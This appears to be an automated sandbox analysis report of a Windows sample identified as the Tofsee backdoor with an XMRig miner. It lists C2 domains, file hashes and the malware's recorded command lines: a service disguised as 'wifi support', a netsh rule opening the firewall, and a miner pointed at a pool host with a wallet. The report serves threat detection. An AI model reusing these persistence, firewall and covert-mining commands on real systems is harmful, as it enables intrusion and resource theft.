Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 12:28

General

  • Target
    file.exe
  • Size 310KB
  • Sample221114-pnbgtsbc95
  • SHA256 14d2c8950eb03b5d1ee75a2aba9d8ffdfa638cf8ece9b556e46ba0a884daa57e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jkfilstz\
      2⤵
        PID:1084
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yewlqja.exe" C:\Windows\SysWOW64\jkfilstz\
        2⤵
          PID:3008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jkfilstz binPath= "C:\Windows\SysWOW64\jkfilstz\yewlqja.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jkfilstz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jkfilstz
          2⤵
          • Launches sc.exe
          PID:4824
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1528
      • C:\Windows\SysWOW64\jkfilstz\yewlqja.exe
        C:\Windows\SysWOW64\jkfilstz\yewlqja.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2416
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2672
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3508

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            yewlqja.exe

            • Path C:\Users\Admin\AppData\Local\Temp\yewlqja.exe
            • Size 12.4MB
            • SHA256 8db3792fe22d5ef325f21e987d65867e2e079dd2d35acd5b715707099d439c9d
            • MD5 SHA1 SHA512 SSDEEP

            yewlqja.exe

            • Path C:\Windows\SysWOW64\jkfilstz\yewlqja.exe
            • Size 12.4MB
            • SHA256 8db3792fe22d5ef325f21e987d65867e2e079dd2d35acd5b715707099d439c9d
            • MD5 SHA1 SHA512 SSDEEP

            memory/2416-146-0x0000000000ACD000-0x0000000000AE3000-memory.dmp

            memory/2416-148-0x0000000000400000-0x0000000000851000-memory.dmp

            memory/2672-159-0x0000000002760000-0x0000000002770000-memory.dmp

            memory/2672-165-0x0000000007440000-0x000000000784B000-memory.dmp

            memory/2672-168-0x0000000007990000-0x0000000007997000-memory.dmp

            memory/2672-153-0x0000000002400000-0x000000000260F000-memory.dmp

            memory/2672-144-0x00000000008D0000-0x00000000008E5000-memory.dmp

            memory/2672-162-0x00000000029F0000-0x00000000029F5000-memory.dmp

            memory/2672-156-0x0000000002750000-0x0000000002756000-memory.dmp

            memory/2672-149-0x00000000008D0000-0x00000000008E5000-memory.dmp

            memory/2672-152-0x00000000008D0000-0x00000000008E5000-memory.dmp

            memory/3508-172-0x0000000001200000-0x00000000012F1000-memory.dmp

            memory/3508-177-0x0000000001200000-0x00000000012F1000-memory.dmp

            memory/4308-150-0x0000000000883000-0x0000000000899000-memory.dmp

            memory/4308-151-0x0000000000400000-0x0000000000851000-memory.dmp

            memory/4308-133-0x0000000000883000-0x0000000000899000-memory.dmp

            memory/4308-134-0x0000000002490000-0x00000000024A3000-memory.dmp

            memory/4308-135-0x0000000000400000-0x0000000000851000-memory.dmp